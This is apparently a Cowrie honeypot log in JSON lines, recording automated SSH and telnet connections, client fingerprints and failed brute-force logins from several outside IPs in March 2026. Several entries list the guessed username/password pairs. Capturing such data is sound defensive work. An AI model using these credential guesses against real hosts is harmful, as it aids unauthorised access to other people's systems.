{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:13.561378Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:13.565532Z","src_ip":"187.210.77.100","session":"c03ef7c457f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36982,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4d694dbf0eb","protocol":"ssh","message":"New connection: 195.178.110.218:36982 (159.203.135.109:22) [session: d4d694dbf0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:45.592409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:45.596081Z","src_ip":"195.178.110.218","session":"d4d694dbf0eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:45.674950Z","src_ip":"195.178.110.218","session":"d4d694dbf0eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:45.911541Z","src_ip":"195.178.110.218","session":"d4d694dbf0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:46.993105Z","src_ip":"195.178.110.218","session":"d4d694dbf0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":44186,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0ec4e43ff50","protocol":"ssh","message":"New connection: 119.209.12.20:44186 (10.17.0.5:22) [session: d0ec4e43ff50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:01.482492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:01.488318Z","src_ip":"119.209.12.20","session":"d0ec4e43ff50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:01.691646Z","src_ip":"119.209.12.20","session":"d0ec4e43ff50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonarqube","password":"123","message":"login attempt [sonarqube/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:02.531462Z","src_ip":"119.209.12.20","session":"d0ec4e43ff50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:03.736575Z","src_ip":"119.209.12.20","session":"d0ec4e43ff50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.245.141.249","src_port":41585,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51f3366bc36","protocol":"telnet","message":"New connection: 117.245.141.249:41585 (10.17.0.5:23) [session: e51f3366bc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:21.421417Z"}
{"eventid":"cowrie.session.closed","duration":14.12551212310791,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:03:35.546844Z","src_ip":"117.245.141.249","session":"e51f3366bc36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.10","src_port":26975,"dst_ip":"159.203.135.109","dst_port":22,"session":"54788f185a10","protocol":"ssh","message":"New connection: 64.62.197.10:26975 (159.203.135.109:22) [session: 54788f185a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:00.577167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:00.582523Z","src_ip":"64.62.197.10","session":"54788f185a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:00.659265Z","src_ip":"64.62.197.10","session":"54788f185a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:04.578082Z","src_ip":"64.62.197.10","session":"54788f185a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dbf1b47150c","protocol":"ssh","message":"New connection: 2.57.122.96:55252 (159.203.135.109:22) [session: 0dbf1b47150c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:13.250452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:13.260200Z","src_ip":"2.57.122.96","session":"0dbf1b47150c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:13.436706Z","src_ip":"2.57.122.96","session":"0dbf1b47150c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"staking","message":"login attempt [eth/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:13.832305Z","src_ip":"2.57.122.96","session":"0dbf1b47150c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:14.973483Z","src_ip":"2.57.122.96","session":"0dbf1b47150c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":38708,"dst_ip":"159.203.135.109","dst_port":22,"session":"262439ae5c4c","protocol":"ssh","message":"New connection: 187.210.77.100:38708 (159.203.135.109:22) [session: 262439ae5c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:28.713391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:28.717762Z","src_ip":"187.210.77.100","session":"262439ae5c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:28.910774Z","src_ip":"187.210.77.100","session":"262439ae5c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"12345","message":"login attempt [client/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:29.690679Z","src_ip":"187.210.77.100","session":"262439ae5c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:30.880291Z","src_ip":"187.210.77.100","session":"262439ae5c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":51926,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba3fa2482353","protocol":"ssh","message":"New connection: 119.209.12.20:51926 (10.17.0.5:22) [session: ba3fa2482353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:58.579037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:58.583761Z","src_ip":"119.209.12.20","session":"ba3fa2482353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:58.785863Z","src_ip":"119.209.12.20","session":"ba3fa2482353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nikhil","password":"nikhil","message":"login attempt [nikhil/nikhil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:04:59.625637Z","src_ip":"119.209.12.20","session":"ba3fa2482353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:05:00.829145Z","src_ip":"119.209.12.20","session":"ba3fa2482353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44560,"dst_ip":"159.203.135.109","dst_port":22,"session":"5065d6577225","protocol":"ssh","message":"New connection: 195.178.110.218:44560 (159.203.135.109:22) [session: 5065d6577225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:05:27.241536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:05:27.245574Z","src_ip":"195.178.110.218","session":"5065d6577225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:05:27.324116Z","src_ip":"195.178.110.218","session":"5065d6577225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:05:27.550085Z","src_ip":"195.178.110.218","session":"5065d6577225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:05:28.628184Z","src_ip":"195.178.110.218","session":"5065d6577225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":59674,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc020b208824","protocol":"ssh","message":"New connection: 119.209.12.20:59674 (10.17.0.5:22) [session: cc020b208824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:06:59.294406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:06:59.299232Z","src_ip":"119.209.12.20","session":"cc020b208824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:06:59.496926Z","src_ip":"119.209.12.20","session":"cc020b208824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bobpass","message":"login attempt [bob/bobpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:00.326280Z","src_ip":"119.209.12.20","session":"cc020b208824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:01.531328Z","src_ip":"119.209.12.20","session":"cc020b208824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57224,"dst_ip":"159.203.135.109","dst_port":22,"session":"79de874e2cca","protocol":"ssh","message":"New connection: 2.57.122.96:57224 (159.203.135.109:22) [session: 79de874e2cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:05.032717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:07:05.036743Z","src_ip":"2.57.122.96","session":"79de874e2cca","protocol":"ssh"}
